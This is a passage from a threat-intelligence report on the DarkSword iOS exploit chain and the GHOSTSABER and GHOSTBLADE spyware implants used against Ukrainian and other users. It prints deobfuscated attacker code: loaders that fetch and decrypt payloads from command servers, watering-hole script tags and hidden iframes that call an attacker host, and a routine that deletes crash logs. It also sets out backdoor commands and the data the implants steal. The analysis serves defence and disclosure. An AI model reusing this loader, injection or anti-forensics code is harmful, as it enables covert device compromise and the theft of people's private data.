    const _0x32efb2 = _0x362968.a;
    const _0x46ca4b = _0x362968.b;
    const _0xfae3b8 = b64toUint8Array(_0x32efb2);
    const _0x2f4536 = b64toUint8Array(_0x46ca4b);
    const _0xa36b4f = deriveAesKey(_0x35744f.privateKey, _0x2f4536);
    const _0x36e338 = decryptData(_0xfae3b8, _0xa36b4f);
    const _0x50186a = new TextDecoder().decode(_0x36e338);
    return _0x50186a;
  }
  return null;
}</code></pre>
<p><span><span>Figure 11: Deobfuscated </span><code>getJS()</code><span> snippet from the DarkSword loader (PARS Defense, November 2025)</span></span></p></div>
<div class="block-paragraph_advanced"><pre class="language-plain"><code>let workerCode = '';
if (ios_version == '18,6' || ios_version == '18,6,1' || ios_version == '18,6,2' || ios_version == '18,7') {
  workerCode = getJS('6cde159c.js?' + Date.now());
} else {
  workerCode = getJS('a9bc5c66.js?' + Date.now());
}
let workerBlob = new Blob([workerCode], {
  'type': 'text/javascript'
});
let workerBlobUrl = URL.createObjectURL(workerBlob);</code></pre>
<p><span><span>Figure 12: Deobfuscated snippet for loading the RCE workers (PARS Defense, November 2025)</span></span></p></div>
<div class="block-paragraph_advanced"><pre class="language-plain"><code>if (!sessionStorage.getItem('uid') &amp;&amp; canUseApplePay() &amp;&amp; "standalone" in navigator &amp;&amp; (CSS.supports("backdrop-filter: blur(10px)") || CSS.supports("-webkit-backdrop-filter: blur(10px)")) &amp;&amp; document.pictureInPictureEnabled &amp;&amp; !(typeof window.chrome === "object" &amp;&amp; window.chrome !== null) &amp;&amp; !('InstallTrigger' in window) &amp;&amp; supportsWebGL2() &amp;&amp; getDeviceInputInfo() &amp;&amp; !("vibrate" in navigator) &amp;&amp; debuggerCheck()) {
  (() =&gt; {
    function _0x45e723(_0x52731a) {
      const _0x43f8d9 = generateKeyPair();
      const _0x427066 = exportPublicKeyAsPem(_0x43f8d9.publicKey);
      const _0x5cfee7 = self.btoa(_0x427066);
      const _0x96910f = {
        'a': _0x5cfee7
      };
      _0x52731a = _0x52731a.startsWith('/') ? _0x52731a : '/' + _0x52731a;
      const _0x436cc4 = new XMLHttpRequest();
      _0x436cc4.open("POST", 'https://&lt;redacted&gt;' + (_0x52731a + '?' + Date.now()), false);
      _0x436cc4.setRequestHeader('Content-Type', "application/json");
      _0x436cc4.send(JSON.stringify(_0x96910f));
      if (_0x436cc4.status === 0xc8) {
        const _0x4a4193 = JSON.parse(_0x436cc4.responseText);
        const _0x362b30 = _0x4a4193.a;
        const _0x536004 = _0x4a4193.b;
        const _0x183b3f = b64toUint8Array(_0x362b30);
        const _0x46bbee = b64toUint8Array(_0x536004);
        const _0x43e600 = deriveAesKey(_0x43f8d9.privateKey, _0x46bbee);
        const _0x2e0735 = decryptData(_0x183b3f, _0x43e600);
        const _0x26a8b1 = new TextDecoder().decode(_0x2e0735);
        return _0x26a8b1;
      }
      return null;
    }
    let _0x100ce6 = _0x45e723('6297d177.html?' + Math.random());
    const _0x5f5a7d = document.createElement("iframe");
    _0x5f5a7d.srcdoc = _0x100ce6;
    _0x5f5a7d.style.height = 0x0;
    _0x5f5a7d.style.width = 0x0;
    _0x5f5a7d.style.border = 'none';
    document.body.appendChild(_0x5f5a7d);
  })();
} else {
  top.location.href = "&lt;legit website&gt;";
  window.location.href = '&lt;legit website&gt;';
}</code></pre>
<p><span><span>Figure 13: Deobfuscated landing page snippet to fetch the DarkSword loader (PARS Defense, January 2026)</span></span></p></div>
<div class="block-paragraph_advanced"><h5><span>GHOSTSABER</span></h5>
<p><span>GHOSTSABER is a JavaScript backdoor used by PARS Defense that communicates with its C2 server over HTTP(S). Its capabilities include device and account enumeration, file listing, data exfiltration, and the execution of arbitrary JavaScript code; a complete list of its supported commands is detailed in Table 1. Observed GHOSTSABER samples contain references to several commands that lack the necessary code to be executed, including some that purport to record audio from the device's microphone and send the device's current geolocation to the C2 server. These commands use a function called </span><code>send_command_to_upper_process</code><span>, which writes to a shared memory region that is otherwise unused in the implant. We suspect that a follow-on binary module may be downloaded from the C2 server to implement these commands at runtime.</span></p></div>
<div class="block-paragraph_advanced"><div align="left">
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div><table><colgroup><col><col></colgroup>
<tbody>
<tr>
<td>
<p><strong>Command</strong></p>
</td>
<td>
<p><strong>Description</strong></p>
</td>
</tr>
<tr>
<td>
<p><code>ChangeStatusCheckSleepInterval</code></p>
</td>
<td>
<p><span>Changes the sleep duration between C2 check-ins</span></p>
</td>
</tr>
<tr>
<td>
<p><code>SendDeviceInfo</code></p>
</td>
<td>
<p><span>Uploads basic device information to the C2 server</span></p>
</td>
</tr>
<tr>
<td>
<p><code>SendUserAccountsList</code></p>
</td>
<td>
<p><span>Uploads a list of the signed-in accounts on the device to the C2 server</span></p>
</td>
</tr>
<tr>
<td>
<p><code>SendAppList</code></p>
</td>
<td>
<p><span>Uploads a list of the installed applications to the C2 server</span></p>
</td>
</tr>
<tr>
<td>
<p><code>SendCurrentLocation</code></p>
</td>
<td>
<p><span>Not directly implemented</span></p>
</td>
</tr>
<tr>
<td>
<p><code>ExecuteSqliteQuery</code></p>
</td>
<td>
<p><span>Executes an arbitrary SQL query against an arbitrary SQLite database and uploads the results to the C2 server</span></p>
</td>
</tr>
<tr>
<td>
<p><code>UnwrapKey</code></p>
</td>
<td>
<p><span>No-op</span></p>
</td>
</tr>
<tr>
<td>
<p><code>SendScreenshot</code></p>
</td>
<td>
<p><span>Not directly implemented</span></p>
</td>
</tr>
<tr>
<td>
<p><code>SendWiFiInfo</code></p>
</td>
<td>
<p><span>Not directly implemented</span></p>
</td>
</tr>
<tr>
<td>
<p><code>SendThumbnails</code></p>
</td>
<td>
<p><span>Uploads thumbnails from iOS' Photos app within a specified time period to the C2 server</span></p>
</td>
</tr>
<tr>
<td>
<p><code>SendApp</code></p>
</td>
<td>
<p><span>Uploads all of the files for a specified installed application to the C2 server</span></p>
</td>
</tr>
<tr>
<td>
<p><code>RecordAudio</code></p>
</td>
<td>
<p><span>Not directly implemented</span></p>
</td>
</tr>
<tr>
<td>
<p><code>SendFiles</code></p>
</td>
<td>
<p><span>Uploads a list of arbitrary files to the C2 server</span></p>
</td>
</tr>
<tr>
<td>
<p><code>SendRegEx</code></p>
</td>
<td>
<p><span>Uploads a list of files with paths matching a specified regex pattern to the C2 server</span></p>
</td>
</tr>
<tr>
<td>
<p><code>SendFileList</code></p>
</td>
<td>
<p><span>Uploads a recursive list of files and metadata in a specified directory to the C2 server</span></p>
</td>
</tr>
<tr>
<td>
<p><code>EvalJs</code></p>
</td>
<td>
<p><span>Executes an arbitrary JavaScript blob and uploads the output to the C2 server</span></p>
</td>
</tr>
</tbody>
</table></div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<div align="left"><span><span>Table 1: Commands supported by GHOSTSABER</span></span></div></div>
<div class="block-paragraph_advanced"><h4><span>New Ukrainian Watering Hole Activity From UNC6353</span></h4>
<p><span>GTIG observed the suspected Russian espionage actor UNC6353 leveraging DarkSword in a new watering hole campaign targeting Ukrainian users. As mentioned in our recent </span><a href="https://cloud.google.com/blog/topics/threat-intelligence/coruna-powerful-ios-exploit-kit"><span>blog post</span></a><span>, we first began tracking UNC6353 in summer 2025 as a threat cluster conducting watering hole attacks on Ukrainian websites to deliver Coruna. This new activity, which has been active through March 2026 but dates back to at least December 2025, leverages the DarkSword exploit chain to deploy GHOSTBLADE. GTIG notified and collaborated with CERT-UA to mitigate this activity.</span></p>
<p><span>Compromised Ukrainian websites were updated to include a malicious </span><code>script</code><span> tag that fetched the first delivery stage from an UNC6353 server, </span><code>static.cdncounter[.]net</code><span> (Figure 14). This script (Figure 15) dynamically creates a new IFrame and sets its source to a file called </span><code>index.html</code><span> on the same server (Figure 16). While </span><code>index.html</code><span> bears some overlap with the landing page logic used by UNC6748 and PARS Defense, it sets the </span><code>uid</code><span> session storage key without checking the session's current state, and includes a Russian language comment that translates to "if uid is still needed, just install it."</span></p>
<p><span>Notably, the observed UNC6353 use of DarkSword only supported iOS 18.4-18.6. While earlier DarkSword use attributed to UNC6748 and PARS Defense also supported iOS 18.7, we did not observe that from UNC6353, despite their later operational timeline. However, the loader used in this version correctly loaded the RCE modules corresponding to the running iOS version, which we didn't observe in UNC6748's use of DarkSword with only iOS 18.4-18.6 support (Figure 17).</span></p></div>
<div class="block-paragraph_advanced"><pre class="language-plain"><code>&lt;script async src="https://static.cdncounter.net/widgets.js?uhfiu27fajf2948fjfefaa42"&gt;&lt;/script&gt;</code></pre>
<p><span><span>Figure 14: Malicious </span><code>script</code><span> tag used by UNC6353 (March 2026)</span></span></p></div>
<div class="block-paragraph_advanced"><pre class="language-plain"><code>(function () {
  const iframe = document.createElement("iframe");
  iframe.src = "https://static.cdncounter.net/assets/index.html";
  iframe.style.width = "1px";
  iframe.style.height = "1px";
  iframe.style.border = "0";
  iframe.style.position = "absolute";
  iframe.style.left = "-9999px";
  iframe.style.opacity = "0.01";
  // важно для Safari
  iframe.setAttribute(
    "sandbox",
    "allow-scripts allow-same-origin"
  );
  document.body.appendChild(iframe);
})();</code></pre>
<p><span><span>Figure 15: </span><code>widgets.js</code><span> (UNC6353, March 2026)</span></span></p></div>
<div class="block-paragraph_advanced"><pre class="language-plain"><code>&lt;!DOCTYPE html&gt;
&lt;html lang="en"&gt;
&lt;head&gt;
  &lt;meta charset="UTF-8"&gt;
  &lt;meta name="viewport" content="width=device-width, initial-scale=1.0"&gt;
  &lt;title&gt;Test Page&lt;/title&gt;
&lt;/head&gt;
&lt;body&gt;
  &lt;script&gt;
    // если uid всё ещё нужен — просто устанавливаем
    sessionStorage.setItem('uid', '1');
    const frame = document.createElement('iframe');
    frame.src = 'frame.html?' + Math.random();
    frame.style.width = '1px';
    frame.style.opacity = '0.01'
    frame.style.position = 'absolute';
    frame.style.left = '-9999px';
    frame.style.height = '1px';
    frame.style.border = 'none';
    document.body.appendChild(frame);
  &lt;/script&gt;
&lt;/body&gt;
&lt;/html&gt;</code></pre>
<p><span><span>Figure 16: </span><code>index.html</code><span> (UNC6353, March 2026)</span></span></p></div>
<div class="block-paragraph_advanced"><pre class="language-plain"><code>let workerCode = "";
if(ios_version == '18,6' || ios_version == '18,6,1' || ios_version == '18,6,2')
    workerCode = getJS(`rce_worker_18.6.js?${Date.now()}`); // local version
else
    workerCode = getJS(`rce_worker_18.4.js?${Date.now()}`); // local version
let workerBlob = new Blob([workerCode],{type:'text/javascript'});
let workerBlobUrl = URL.createObjectURL(workerBlob);</code></pre>
<p><span><span>Figure 17: </span><code>rce_loader.js</code><span> snippet for loading the RCE exploit workers (UNC6353, March 2026)</span></span></p></div>
<div class="block-paragraph_advanced"><h5><span>GHOSTBLADE</span></h5>
<p><span>Following device infections from these watering holes, UNC6353 deployed a malware family GTIG tracks as GHOSTBLADE. GHOSTBLADE is a dataminer written in JavaScript that collects and exfiltrates a wide variety of data from a compromised device (Table 2). Data collected by GHOSTBLADE is exfiltrated to an attacker-controlled server over HTTP(S). Unlike GHOSTKNIFE and GHOSTSABER, GHOSTBLADE is less capable and does not support any additional modules or backdoor-like functionality; it also does not operate continuously. However, similar to GHOSTKNIFE, GHOSTBLADE also contains code to delete crash reports, but targets a different directory where they may be stored (Figure 18). The GHOSTBLADE sample observed in this activity had full debug logging present along with lots of comments in the code.</span></p>
<p><span>Notably, the GHOSTBLADE sample analyzed by GTIG contains a comment and code block conditionally executing code on iOS versions greater than or equal to 18.4, which is the minimum supported version by DarkSword (Figure 19; note that </span><code>ver</code><span> is parsed from </span><code>uname</code><span>, which returns the XNU version). This suggests the payload also supports running on versions lower than 18.4, which isn't supported by DarkSword.</span></p></div>
<div class="block-paragraph_advanced"><div align="left">
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div><table><colgroup><col><col></colgroup>
<thead>
<tr>
<th scope="col">
<p><strong>Category</strong></p>
</th>
<th scope="col">
<p><strong>Collected Data</strong></p>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<p><span>Communication and Messaging</span></p>
</td>
<td>
<p><span>iMessage database, Telegram data, WhatsApp data, mail indexes, call logs, contacts interaction data, contacts</span></p>
</td>
</tr>
<tr>
<td>
<p><span>Identity and Access</span></p>
</td>
<td>
<p><span>Device/account identifiers, signed in accounts, device keychains, SIM card info, device profiles</span></p>
</td>
</tr>
<tr>
<td>
<p><span>Location and Mobility</span></p>
</td>
<td>
<p><span>Location history, saved/known WiFi networks and passwords, Find My iPhone settings, location services settings</span></p>
</td>
</tr>
<tr>
<td>
<p><span>Personal Content and Media</span></p>
</td>
<td>
<p><span>Photos metadata, hidden photos, screenshots, iCloud Drive files, Notes database, Calendar database</span></p>
</td>
</tr>
<tr>
<td>
<p><span>Financials and Transactions</span></p>
</td>
<td>
<p><span>Cryptocurrency wallet data</span></p>
</td>
</tr>
<tr>
<td>
<p><span>Usage and Behavioral Data</span></p>
</td>
<td>
<p><span>Safari history/bookmarks/cookies, Health database, device personalization data</span></p>
</td>
</tr>
<tr>
<td>
<p><span>System and Connectivity</span></p>
</td>
<td>
<p><span>List of installed applications, Backup settings/info, cellular usage/data info, App Store preferences</span></p>
</td>
</tr>
</tbody>
</table></div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<div align="left"><span><span>Table 2: Data collected by GHOSTBLADE</span></span></div></div>
<div class="block-paragraph_advanced"><pre class="language-plain"><code>static deleteCrashReports()
{
	this.getTokenForPath("/private/var/containers/Shared/SystemGroup/systemgroup.com.apple.osanalytics/DiagnosticReports/",true);
	libs_JSUtils_FileUtils__WEBPACK_IMPORTED_MODULE_0__["default"].deleteDir("/private/var/containers/Shared/SystemGroup/systemgroup.com.apple.osanalytics/DiagnosticReports/",true);
}</code></pre>
<p><span><span>Figure 18: GHOSTBLADE code snippet used for deleting crash logs</span></span></p></div>
<div class="block-paragraph_advanced"><pre class="language-plain"><code>// If iOS &gt;= 18.4 we apply migbypass in order to bypass autobox restrictions
if (ver.major == 24 &amp;&amp; ver.minor &gt;= 4) {
	mutexPtr = BigInt(libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].callSymbol("malloc", 0x100));
	libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].callSymbol("pthread_mutex_init", mutexPtr, null);
	migFilterBypass = new MigFilterBypass(mutexPtr);
}</code></pre>
<p><span><span>Figure 19: Code conditionally executed on iOS 18.4+ in GHOSTBLADE</span></span></p></div>
<div class="block-paragraph_advanced"><h3><span>DarkSword Exploit Chain</span></h3>
<p><span>As mentioned, DarkSword uses six different vulnerabilities to fully compromise a vulnerable iOS device and run a final payload with full kernel privileges (Table 3). Unlike Coruna, DarkSword only supports a limited set of iOS versions (18.4-18.7), and while the different exploit stages are technically sophisticated, the mechanisms used for loading the exploits were more basic and less robust than Coruna.</span></p>
<p><span>Also unlike Coruna, DarkSword uses pure JavaScript for all stages of the exploit chain and final payloads. While more sophistication is required to bridge between JavaScript and the native APIs and IPC channels used in the exploit, its use eliminates the need to identify vulnerabilities for bypassing </span><a href="https://support.apple.com/guide/security/operating-system-integrity-sec8b776536b/1/web/1#sec314c3af61" rel="noopener" target="_blank"><span>Page Protection Layer (PPL)</span></a> or<span> <a href="https://support.apple.com/guide/security/operating-system-integrity-sec8b776536b/1/web/1#secd022396fb" rel="noopener" target="_blank"><span>Secure Page Table Monitor (SPTM)</span></a> exploit mitigations in iOS that prevent unsigned binary code from being executed.</span></p></div>
<div class="block-paragraph_advanced"><div align="left">
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div><table border="1px" cellpadding="16px"><colgroup><col><col><col><col><col></colgroup>
<tbody>
<tr>
<td>
<p><strong>Exploit Module</strong></p>
</td>
<td>
<p><strong>CVE</strong></p>
</td>
<td>
<p><strong>Description</strong></p>
</td>
<td>
<p><strong>Exploited as a Zero-Day</strong></p>
</td>
<td>
<p><strong>Patched in iOS Version(s)</strong></p>
</td>
</tr>
<tr>
<td>
<p><span>rce_module.js</span></p>
</td>
<td>
<p><span>CVE-2025-31277</span></p>
</td>
<td>
<p><span>Memory corruption vulnerability in JavaScriptCore</span></p>
</td>
<td>
<p><span>No</span></p>
</td>
<td>
<p><span>18.6</span></p>
</td>
</tr>
<tr>
<td>
<p><span>rce_worker_18.4.js</span></p>
</td>
<td>
<p><span>CVE-2026-20700</span></p>
</td>
<td>
<p><span>User-mode Pointer Authentication Code (PAC) bypass in </span><code>dyld</code></p>
</td>
<td>
<p><span>Yes</span></p>
</td>
<td>
<p><span>26.3</span></p>
</td>
</tr>
<tr>
<td rowspan="2">
<p><span>rce_worker_18.6.js</span></p>
<p><span>rce_worker_18.7.js</span></p>
</td>
<td>
<p><span>CVE-2025-43529</span></p>
</td>
<td>
<p><span>Memory corruption vulnerability in JavaScriptCore</span></p>
</td>
<td>
<p><span>Yes</span></p>
</td>
<td>
<p><span>18.7.3, 26.2</span></p>
</td>
</tr>
<tr>
<td>
<p><span>CVE-2026-20700</span></p>
</td>
<td>
<p><span>User-mode Pointer Authentication Code (PAC) bypass in </span><code>dyld</code></p>
</td>
<td>
<p><span>Yes</span></p>
</td>
<td>
<p><span>26.3</span></p>
</td>
</tr>
<tr>
<td>
<p><span>sbox0_main_18.4.js</span></p>
<p><span>sbx0_main.js</span></p>
</td>
<td>
<p><span>CVE-2025-14174</span></p>
</td>
<td>
<p><span>Memory corruption vulnerability in ANGLE</span></p>
</td>
<td>
<p><span>Yes</span></p>
</td>
<td>
<p><span>18.7.3, 26.2</span></p>
</td>
</tr>
<tr>
<td>
<p><span>sbx1_main.js</span></p>
</td>
<td>
<p><span>CVE-2025-43510</span></p>
</td>
<td>
<p><span>Memory management vulnerability in the iOS kernel</span></p>
</td>
<td>
<p><span>No</span></p>
</td>
<td>
<p><span>18.7.2, 26.1</span></p>
</td>
</tr>
<tr>
<td>
<p><span>pe_main.js</span></p>
</td>
<td>
<p><span>CVE-2025-43520</span></p>
</td>
<td>
<p><span>Memory corruption vulnerability in the iOS kernel</span></p>
</td>
<td>
<p><span>No</span></p>
</td>
<td>
<p><span>18.7.2, 26.1</span></p>
</td>
</tr>
</tbody>
</table></div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<div align="left"><span><span>Table 3: Exploits used in DarkSword</span></span></div></div>
<div class="block-image_full_width">






  
    <div class="article-module h-c-page">
      <div class="h-c-grid">
  

    <figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      ">

      
      
        
        <img src="https://storage.googleapis.com/gweb-cloudblog-publish/images/darksword-ios-exploit-chain-fig20.max-1000x1000.jpg" alt="DarkSword infection chain">
        
        
      
        <figcaption class="article-image__caption "><p data-block-key="ijhn8">Figure 20: DarkSword infection chain</p></figcaption>
      
    </figure>

  
      </div>
    </div>
  




</div>
<div class="block-paragraph_advanced"><h4><span>Exploit Delivery</span></h4>
<p><span>There are notable similarities and differences between the exploit delivery implementations used by UNC6748, PARS Defense, and UNC6353. We assess that each of the actors built their delivery mechanisms on a base set of logic from the DarkSword developers, and made tweaks to fit their own needs. All three actors had some usage of the </span><code>uid</code><span> session storage key, but not all in the same way:</span></p>
<ul>
<li aria-level="1">
<p role="presentation"><span>We consistently saw UNC6748 landing pages both set the </span><code>uid</code><span> key, and check it before fetching the exploit loader.</span></p>
</li>
<ul>
<li aria-level="2">
<p role="presentation"><span>UNC6748 only set the </span><code>top.location.href</code><span> property to redirect users if they weren't to be infected.</span></p>
</li>
</ul>
<li aria-level="1">
<p role="presentation"><span>PARS Defense used the </span><code>uid</code><span> key in the same way in January 2026, but the initial activity we saw in November 2025 didn't include it.</span></p>
</li>
<ul>
<li aria-level="2">
<p role="presentation"><span>Like UNC6748, PARS Defense set </span><code>top.location.href</code><span>, but also set </span><code>window.location.href</code><span> to the same value.</span></p>
</li>
</ul>
<li aria-level="1">
<p role="presentation"><span>UNC6353 set the </span><code>uid</code><span> key, but did not check it before fetching the exploit loader; a comment in the source code suggests that they did not know if it was required by the subsequent stages.</span></p>
</li>
</ul>
<p><span>Based on the actors' differing usages, we assess that this session storage check logic, along with the subsequent logic using </span><code>frame.html</code><span> to then fetch </span><code>rce_loader.js</code><span> as observed from UNC6748 and UNC6353, was developed by the DarkSword exploit chain developers. We assess that the additional fingerprinting logic used by PARS Defense in January 2026 and the anti-debug logic used by UNC6748 in November 2025 were likely written by those users to better meet their operational requirements.</span></p>
<h4><span>Loader</span></h4>
<p><span>All the activity we observed used effectively the same exploit loader, with some minor differences such as PARS Defense's addition of encryption. The loader manages Web Worker objects that are used by the two RCE exploits, along with state transitions throughout the RCE exploit lifecycle. The loader fetches two files for the RCE stages, named variations of </span><code>rce_module.js</code><span> and </span><code>rce_worker.js</code><span> (e.g. </span><code>rce_worker_18.4.js</code><span>). The iOS 18.4 exploit splits the logic between the Web Worker script and the main module, which is </span><code>eval</code><span>'d in the same context as the loader; the two different contexts communicate using </span><code>postMessage</code><span> as the RCE exploit progresses. The iOS 18.6/18.7 RCE exploit, however, contains all of the exploit logic in the worker, and the corresponding </span><code>rce_module.js</code><span> file just has an unused placeholder function (Figure 21).</span></p>
<p><span>The inconsistencies surrounding the correctness of fetching the RCE stages by the loader module are intriguing. One possibility is that the errors were manually corrected by UNC6353 and PARS Defense; alternatively, it is possible that UNC6748 received the exploit chain updates prior to the other users, and the DarkSword developers subsequently fixed those bugs.</span></p></div>
<div class="block-paragraph_advanced"><pre class="language-plain"><code>// for displaying hex value
function dummyy(x) {
    return '0x' + x.toString(16);
}</code></pre>
<p><span><span>Figure 21: </span><code>rce_module_18.7.js</code><span> contents (UNC6748, November 2025)</span></span></p></div>
<div class="block-paragraph_advanced"><h4><span>Remote Code Execution Exploits</span></h4>
<p><span>GTIG observed two different JavaScriptCore (the JavaScript engine used in WebKit and Apple's Safari browser) vulnerabilities exploited for remote code execution by DarkSword. For devices running versions of iOS prior to 18.6, DarkSword uses CVE-2025-31277, a JIT optimization/type confusion bug which was patched by Apple in iOS 18.6. For devices running iOS 18.6-18.7, DarkSword uses CVE-2025-43529, a garbage collection bug in the Data Flow Graph (DFG) JIT layer of JavaScriptCore which was patched by Apple in iOS 18.7.3 and 26.2 after it was reported by GTIG. Both exploits develop their own </span><code>fakeobj</code><span>/</span><code>addrof</code><span> primitives, and then build arbitrary read/write primitives the same way on top of them.</span></p>
<p><span>Both vulnerabilities were directly chained with CVE-2026-20700, a bug in </span><code>dyld</code><span> used as a user-mode </span><a href="https://support.apple.com/guide/security/operating-system-integrity-sec8b776536b/1/web/1#sec0167b469d" rel="noopener" target="_blank"><span>Pointer Authentication Codes (PAC)</span></a><span> bypass to execute arbitrary code, as required by the subsequent exploit stages. This vulnerability was patched by Apple in iOS 26.3 after being reported by GTIG.</span></p>
<h4><span>Sandbox Escape Exploits</span></h4>
<p><span>Safari is designed to use multiple sandbox layers to isolate the different components of the browser where untrusted user input may be handled. DarkSword uses two separate sandbox escape vulnerabilities, first by pivoting out of the WebContent sandbox into the GPU process, and then by pivoting from the GPU process to </span><code>mediaplaybackd</code><span>. The same sandbox escape exploits were used regardless of which RCE exploit was needed.</span></p>
<h5><span>WebContent Sandbox Escape</span></h5>
<p><span>As previously discussed by </span><a href="https://projectzero.google/2023/10/an-analysis-of-an-in-the-wild-ios-safari-sandbox-escape.html" rel="noopener" target="_blank"><span>Project Zero</span></a><span> and others, Safari's renderer process (known as WebContent) is tightly sandboxed to limit the blast radius of any vulnerabilities it may contain, since it is the most accessible to untrusted user content. To bypass this, DarkSword fetches an exploit called </span><code>sbox0_main_18.4.js</code><span> or </span><code>sbx0_main.js</code><span> to break out of the WebContent sandbox. This exploit leverages CVE-2025-14174, a vulnerability in ANGLE where parameters were not sufficiently validated in a specific WebGL operation, leading to out-of-bounds memory operations in Safari's GPU process which the DarkSword developers use to execute arbitrary code within the GPU process.</span></p>
<p><span>This vulnerability was reported to Google (the developers of ANGLE) by Apple and GTIG, and was patched in Safari with the release of iOS 18.7.3 and 26.2.</span></p>
<h5><span>GPU Sandbox Escape</span></h5>
<p><span>In Safari, the GPU process has more privileges than the WebContent sandbox, but still is restricted from accessing much of the rest of the system. To bypass this limitation, DarkSword uses another sandbox escape exploit, </span><code>sbx1_main.js</code><span>, which leverages CVE-2025-43510, a memory management vulnerability in XNU. This is a copy-on-write bug which is exploited to build arbitrary function call primitives in </span><code>mediaplaybackd</code><span>, a system service with a larger set of permissions than the Safari GPU process where they can run the final exploit needed. They do this by loading a copy of the JavaScriptCore runtime into the </span><code>mediaplaybackd</code><span> process, and executing the next stage exploit within it.</span></p>
<p><span>This vulnerability was patched by Apple in iOS 18.7.2 and 26.1.</span></p>
<h4><span>Local Privilege Escalation and Final Payload</span></h4>
<p><span>Finally, the exploit loaded one last module, </span><code>pe_main.js</code><span>. This uses CVE-2025-43520, a kernel-mode race condition in XNU's virtual filesystem (VFS) implementation, which can be exploited to build physical and virtual memory read/write primitives. This vulnerability was patched by Apple in iOS 18.7.2 and 26.1.</span></p>
<p><span>The exploit contains a suite of library classes building on top of their primitives that are used by the different post-exploitation payloads, such as </span><code>Native</code><span>, which provides abstractions for manipulating raw memory and calling native functions, and </span><code>FileUtils</code><span>, which provides a POSIX-like filesystem API. Artifacts left behind from the Webpack process applied to the analyzed GHOSTBLADE sample included file paths that show the structure on disk of these libraries (Figure 22).</span></p>
<p><span>We assess that GHOSTBLADE was likely developed by the DarkSword developers, based on the consistency in coding styles and the tight integration between it and the library code, which is notably distinct from how GHOSTKNIFE and GHOSTSABER leveraged these libraries. We also observed additional modifications made to some of the post-exploitation payload libraries in the samples observed from PARS Defense, including additional raw memory buffer manipulation, likely used in follow-on binary modules. Additionally, the libraries in GHOSTBLADE contained a reference to a function called </span><code>startSandworm()</code><span> which was not implemented within it; we suspect this may be a codename for a different exploit.</span></p></div>
<div class="block-paragraph_advanced"><pre class="language-plain"><code>src/InjectJS.js
src/libs/Chain/Chain.js
src/libs/Chain/Native.js
src/libs/Chain/OffsetsStruct.js
src/libs/Driver/Driver.js
src/libs/Driver/DriverNewThread.js
src/libs/Driver/Offsets.js
src/libs/Driver/OffsetsTable.js
src/libs/JSUtils/FileUtils.js
src/libs/JSUtils/Logger.js
src/libs/JSUtils/Utils.js
src/libs/TaskRop/Exception.js
src/libs/TaskRop/ExceptionMessageStruct.js
src/libs/TaskRop/ExceptionReplyStruct.js
src/libs/TaskRop/MachMsgHeaderStruct.js
src/libs/TaskRop/PAC.js
src/libs/TaskRop/PortRightInserter.js
src/libs/TaskRop/RegistersStruct.js
src/libs/TaskRop/RemoteCall.js
src/libs/TaskRop/Sandbox.js
src/libs/TaskRop/SelfTaskStruct.js
src/libs/TaskRop/Task.js
src/libs/TaskRop/TaskRop.js
src/libs/TaskRop/Thread.js
src/libs/TaskRop/ThreadState.js
src/libs/TaskRop/VM.js
src/libs/TaskRop/VmMapEntry.js
src/libs/TaskRop/VMObject.js
src/libs/TaskRop/VmPackingParams.js
src/libs/TaskRop/VMShmem.js
src/loader.js
src/main.js
src/MigFilterBypassThread.js</code></pre>
<p><span>Figure 22: Filepath artifacts from GHOSTBLADE sample</span></p></div>
<div class="block-paragraph_advanced"><h3><span>Outlook and Implications</span></h3>
<p><span>The use of both DarkSword and Coruna by a variety of actors demonstrates the ongoing risk of exploit proliferation across actors of varying geography and motivation. Google remains committed to aiding in the mitigation of this problem, in part through our ongoing participation in the </span><a href="https://www.gov.uk/government/publications/the-pall-mall-process-declaration-tackling-proliferation-and-irresponsible-use-of-commercial-cyber-intrusion-capabilities" rel="noopener" target="_blank"><span>Pall Mall Process</span></a><span>, designed to build consensus and progress toward limiting the harms from the spyware industry. Together, we are focused on developing international norms and frameworks to limit the misuse of these powerful technologies and protect human rights around the world. These efforts are built on earlier governmental actions, including </span><a href="https://www.federalregister.gov/documents/2023/03/30/2023-06730/prohibition-on-use-by-the-united-states-government-of-commercial-spyware-that-poses-risks-to" rel="noopener" target="_blank"><span>steps taken</span></a><span> by the US Government to limit government use of spyware, and a </span><a href="https://2021-2025.state.gov/joint-statement-on-efforts-to-counter-the-proliferation-and-misuse-of-commercial-spyware/" rel="noopener" target="_blank"><span>first-of-its-kind international</span></a><span> commitment to similar efforts.</span></p>
<h3><span>Acknowledgments</span></h3>
<p><span>We would like to acknowledge and thank Lookout, iVerify, </span><a href="http://projectzero.google/" rel="noopener" target="_blank"><span>Google Project-Zero</span></a><span>, and Apple Security Engineering &amp; Architecture team for their partnership throughout this investigation.</span></p>
<h3><span>Indicators of Compromise (IOCs)</span></h3>
<p><span>To assist the wider community in hunting and identifying activity outlined in this blog post, we have included indicators of compromise (IOCs) in a <a href="https://www.virustotal.com/gui/collection/bd631d6c4cec1759bc298b8da180d9ed1d7d89475376bc614176c3541460f40c/summary" rel="noopener" target="_blank">GTI Collection</a> for registered users. We've also uploaded a sample of GHOSTBLADE to VirusTotal.</span></p>
<h4><span>Network Indicators</span></h4></div>
